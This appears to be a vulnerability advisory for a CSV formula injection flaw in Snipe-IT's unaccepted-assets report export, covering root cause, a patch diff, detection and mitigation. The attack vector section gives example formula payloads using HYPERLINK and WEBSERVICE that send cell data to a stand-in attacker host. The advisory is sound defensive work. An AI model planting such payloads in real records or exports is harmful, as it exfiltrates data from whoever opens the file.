CVE-2026-86742: Snipe-IT CSV Formula Injection Vulnerability

CVE-2026-86742 Overview

CVE-2026-86742 is a CSV formula injection vulnerability in Snipe-IT, the open-source IT asset management platform. Versions through 8.6.3 fail to neutralize spreadsheet formula characters in the "unaccepted assets" acceptance report CSV export. The ReportsController::postAssetAcceptanceReport method builds CSV output manually and, unlike sibling exports in the same controller, never applies League\Csv\EscapeFormula or honors the config('app.escape_formulas') setting. An authenticated low-privilege user can poison free-text fields such as asset name, tag, company, category, model, or assignee display name with content beginning with =, +, -, @, tab, or carriage return. The issue is fixed in Snipe-IT 8.7.0 and tracked under [CWE-1236].

Critical Impact
A privileged user who exports the report and opens it in Excel, LibreOffice Calc, or Google Sheets evaluates attacker-controlled formulas, enabling data exfiltration via HYPERLINK or WEBSERVICE and potential DDE command execution on legacy Excel.

Affected Products

Snipe-IT versions through 8.6.3
Snipe-IT asset acceptance reporting module (ReportsController::postAssetAcceptanceReport)
Downstream spreadsheet clients rendering the exported CSV (Microsoft Excel, LibreOffice Calc, Google Sheets)

Discovery Timeline

2026-09-09 - CVE-2026-86742 published to NVD
2026-09-09 - Last updated in NVD database

Technical Details for CVE-2026-86742

Vulnerability Analysis

The flaw is a classic CSV injection issue [CWE-1236]. Snipe-IT exports asset data to CSV without escaping cells that begin with spreadsheet metacharacters. When a downstream user opens the file, the spreadsheet engine interprets the cell as a formula rather than text. The attacker never needs to touch the victim's machine directly. Instead, they poison a record they can already edit, wait for a reports.view user to export the report, and rely on the spreadsheet application to execute the payload.

Root Cause

The ReportsController::postAssetAcceptanceReport method constructs CSV rows by stripping commas and concatenating strings manually. Six sibling export methods in the same controller apply League\Csv\EscapeFormula or honor the app.escape_formulas configuration flag. This one does not. Any user-supplied string flowing into asset name, asset tag, company name, category, model, or assignee display name is written verbatim into the CSV.

Attack Vector

An authenticated low-privilege user with ordinary create or edit rights sets a targeted free-text field to a value beginning with =, +, -, @, tab, or CR. Example payloads include =HYPERLINK("https://attacker.example/?d="&A1,"Click") for credential and cell exfiltration, or =WEBSERVICE("https://attacker.example/collect") for silent HTTP exfiltration. When a reports.view user requests POST /reports/unaccepted_assets and opens the returned CSV, the payload executes in the victim's spreadsheet context.

php

 use Illuminate\Support\Facades\Validator;
 use Illuminate\Support\Str;
 use Illuminate\Validation\Rule;
+use League\Csv\EscapeFormula;
 use Symfony\Component\HttpFoundation\BinaryFileResponse;
 use ZipArchive;
// Source: https://github.com/grokability/snipe-it/commit/6976f1215444bcfeda50975a5673e8422bcab4bb

The patch imports League\Csv\EscapeFormula so the affected controller can wrap cell values in the same escaping helper used across the rest of the reporting subsystem.

Detection Methods for CVE-2026-86742

Indicators of Compromise

Snipe-IT records where free-text fields (asset name, asset tag, company, category, model, or assignee display name) begin with =, +, -, @, \t, or \r.
Web server logs showing POST /reports/unaccepted_assets requests followed by outbound connections from user workstations to unfamiliar domains.
CSV export files containing cells with HYPERLINK, WEBSERVICE, IMPORTXML, IMPORTDATA, or DDE functions.

Detection Strategies

Query the Snipe-IT database for records whose text fields match the regex ^[=+\-@\t\r] and review provenance.
Inspect audit logs for low-privilege accounts editing high-visibility fields shortly before an acceptance report export.
Scan archived report exports on file shares and mail servers for cells beginning with formula-trigger characters.

Monitoring Recommendations

Alert on outbound DNS or HTTP traffic from endpoints to newly observed domains immediately after a user opens a Snipe-IT CSV.
Monitor Microsoft Excel and LibreOffice Calc process trees for child processes such as cmd.exe, powershell.exe, or curl originating from CSV file opens.
Track access to the /reports/unaccepted_assets endpoint and correlate with subsequent spreadsheet-launched network activity.

How to Mitigate CVE-2026-86742

Immediate Actions Required

Upgrade Snipe-IT to version 8.7.0 or later, which applies League\Csv\EscapeFormula to the affected export.
Audit existing records for poisoned text fields and sanitize any values beginning with =, +, -, @, tab, or CR.
Restrict the reports.view privilege to trusted accounts until the upgrade is complete.

Patch Information

The fix landed in Snipe-IT 8.7.0. Details are published in the GitHub Security Advisory GHSA-w4xq-9p85-4qmv, the upstream commit, and the VulnCheck advisory.

Workarounds

Enable and enforce the app.escape_formulas configuration flag across the deployment even on older versions where compatible.
Instruct report consumers to open Snipe-IT CSVs in a text editor or import them into spreadsheet applications with formulas disabled.
Disable Dynamic Data Exchange (DDE) and external content features in Microsoft Excel through Group Policy.

bash

# Configuration example: enforce formula escaping in Snipe-IT .env
APP_ESCAPE_FORMULAS=true

# Verify the deployed Snipe-IT version
php artisan snipeit:version